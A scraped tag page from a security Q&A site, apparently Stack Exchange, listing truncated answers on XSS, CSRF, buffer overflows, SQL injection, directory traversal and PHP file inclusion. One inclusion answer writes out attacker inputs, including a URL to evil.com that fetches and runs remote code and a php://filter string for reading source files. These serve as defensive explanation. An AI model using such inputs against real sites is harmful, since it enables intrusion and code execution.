Tag Info

New answers tagged

0

Following is a thought of mine, but don't know how practical it is? If you don't have access to the source code of the program, you have to make a lot of assumptions about the format of the arguments, etc. And you have to emulate the original behavior of the function in a way that doesn't break the program, or jump back to the (remainder of) the ...


0

You are correct that in general, a XSS attack is more a server level attack. Someone fills in a form or posts data to a server, the server accepts that data and fails to sanitise it. The data is tored, potentially with embedded javascript or redirects or links to remote objects with malicious payloads. Someone else visits the site and retrieves the data ...


4

ESET released a report about the vulnerability here. Their key findings are: Linux/Moose targets consumer routers and modems including the hardware provided by Internet Service Providers (ISPs) to consumers The threat is built for deep network penetration spreading past firewalls It can eavesdrop on communications to and from devices connected ...


0

As far as the standalone code is concerned, it is not harmful but if it is a part of a larger code, then it might be used to exploit web app based attacks.


1

An Android client application should not be vulnerable to CSRF attacks (except for a browser application like Chrome, but it is not the application here that is vulnerable, it is the website being browsed). This is because for an CSRF to succeed, the client needs to be able to send cookies to the vulnerable website. An Android application would only access ...


0

Most of the Android applications are written in Java. As long as you don't use native code, it's not possible to cause buffer overflow or memory corruptions. In android it's possible to use native code and compile them using Android NDK [1]. Applicqtions like Firefox and Chrome are using native codes. Many opensource libraries can be compiled for android ...


3

The buffer overflow allows an attacker to overwrite stored addresses on the stack that are used by the application when returning from a function. Once the attacker controls this address they can divert the execution of the program by returning to a different part of the application or the libraries it uses. In its simplest form the attacker can write ...


6

Vulnerable programs need to listen to ports in order to access them over the network directly. But, you could gain access to the system through other means then exploit a vulnerable program that does not access the network (e.g. email malware that triggers a vulnerability in a PDF reader) Knowing how the vulnerable program behaves predictably is the key to ...


2

The generic answer for "is my code vulnerable to directory traversal?" is to ask yourself if your code: Uses filename strings that you got from an untrusted source to read/write files on disk? "Untrusted sources" could be direct user input, things you read from files (which could have been tampered with), or from 3rd party code that your code interacts ...


0

SQLite supports prepared queries and bound parameters, so the issue is more with the use of the tool, rather than the tool itself. If query parameters are used it's impossible to inject SQL into the process because the data is handled separately from the statement. The issue only arises if the developer has done something like: SQLStatement = "select * ...


1

SQL injection attacks apply when an application uses SQL and carelessly assembles SQL requests with attacker-provided elements. Here, "carelessly" means "without using prepared statements". Prepared statements are the correct way to do SQL with externally provided data; many developers try to think of it in terms of "escaping quoting characters", which is a ...


2

There is no danger in this specific part of the form. It seems that the developers have accidentally escaped the opening and closing PHP brackets, causing PHP code to be displayed as is. Now, this specific form instance doesn't allow us to do anything since it's just text being displayed... But it teaches us something very important about this site: user ...


0

I think that VM escapes are always due to vulnerabilities in the VM system that you are using. So the way it works is: Find a vulnerability in a VM system. Figure out how to exploit it. Do that to a VM that you want to escape from. As a totally made up example, consider a virtual host with a buffer overflow that happens when writing large files. An ...


5

The easiest way to understand the vulnerability is to look at the diff, dig through the code, and work out how you might exploit it. The vulnerable method's signature looks like this: status_t GraphicBuffer::unflatten( void const*& buffer, size_t& size, int const*& fds, size_t& count) { The important arguments here are void ...


1

While I'm unfamiliar with this specific vulnerability, I can answer this question in general. What exactly does this mean: A remote user can send specially crafted data to trigger an integer overflow in GraphicBuffer::unflatten() This does not mean that a remote attacker can somehow make a remote procedure call on GraphicBuffer::unflatten. It means ...


1

Some general information: While it might initially look like a bug this is not considered one. There are certain roles in a WordPress site (like admins and editors) that have the ability to post unfiltered html to the website. This includes the post title which is the one you used here. This is not considered a bug since one can assume that the person that ...


1

Your first example is a demonstration that wordpress properly handles your PHP "injection" attempt: the code is escaped and not executed on the server. Your second example is pretty straightforward: you place a link in a title, you get a link in the title. I'm not sure what you expected but it doesn't violate the basic constrain: someone - anyone - having ...


0

Yes, it is very possible to gain remote code execution (RCE) via programs such as Skype. For example, there was a notorious exploit in the FreePBX client provided with the Elastix 2.2 platform which triggered by merely accepting a call, as can be seen here on youtube, which gives full code exeuction. Also looking through www.exploit-db.com shows you that ...


1

Blacklisting is rarely a good idea. A whitelist would be a better approach. Say you are using includes for language selection. Check whether file equals english, french, or german for example. Call die() if not. Then it does not matter if a user supplies http://example.com/evil.php, php://filter/convert.base64-encode/resource=filename.php or sql.php as your ...


4

First of all, you are not merely disclosing file content. You are executing it. If php is configured to allow URL inclusion the attacker can simply do file=http://evil.com/attackercode.txt and your script will execute the attackers code. Alternatively the attacker can perform a local file include by sending php code in request headers and do ...


1

Tor provides you anonymity, but it will not protect you at all from malwares or any other security threats. All recommendation regarding network security must therefore be scrupulously respected in order to ensure your network safety. You do not mention it in your description, but be aware that your setup matches Whonix project, so if you do not want to ...


0

I'm setting up a physically isolated Tor system (with one computer serving as the workstation and another as a Tor gateway), ... I don't know what your "physically isolated" refers to, but since you have a work station connected to a Tor gateway I would assume that you plan to use the workstation to access the internet through the Tor gateway. In this ...


0

cant send a victim this link with the injected code This might be possible if you find that some input will populate the field. Try POST and GET requests for the page, and attempt to populate the field using either its name (if it has one), but also try id and other variations. Have a look at the rest of the application and see if there are any ...


0

Agree with Steffen on his first few approaches. Additionally, I answered a similar question here -- http://security.stackexchange.com/a/83497/140 -- and the technique of using SniffJoke should apply. It is often better to change your network traffic than to modify your exploit stager or payload. However, every situation is different. Gather more information ...


1

While Linux has a file security model similar to that of early Unix, I think there has been a change in how the computers are used. In the 70's and 80's, Unix was run on large computers hosting many concurrent users. For example, a single computer could be used by all students in a computer science program. With that type of usage, protecting machine ...


2

All this is just a matter of definition and vocabulary. I have the impression that in your question you are confusing "exploit" and "threat". A vulnerability is a weakness in a system. This weakness may or may not be addressed by some security measures, may or may not be known. A threat can be anything endangering the system by exploiting or triggering the ...


1

Usually, the first step is finding and scanning that which port are open , second one(because here is not for learning hack just talk in general): using some application for finding which program are installed on that computer, then finding the exploits on those application and at the end run a specific script on that, such as buffer over-fellow and get ...


1

Let's suppose a >10mb file opened in notepad causes a buffer overflow and somehow the instruction pointer is set to a location inside that buffer. Somebody could create a maliciously crafted text file which contains shell code at that location inside the text file. You download the text from the internet, put it in notepad and then the malicious program ...


2

Whom should I save the pc from? If the desktop application is not listening on a port, it means if there is a potential vulnerability, it can only be exploited locally. The attacker might have exploited another vulnerability and now looking for privilege escalation or persistence. Don't always assume a vulnerable desktop application would result in ...


1

It is really important that you provide viable alternative solutions and not just rely on arguments that it is a bad technical solution. For example, could using a VPN setup be a better choice rather than re-developing the code to use a non-privileged user? Can you generalise the solution? For example, would a VPN solution provide increased and more secure ...



Top 50 recent answers are included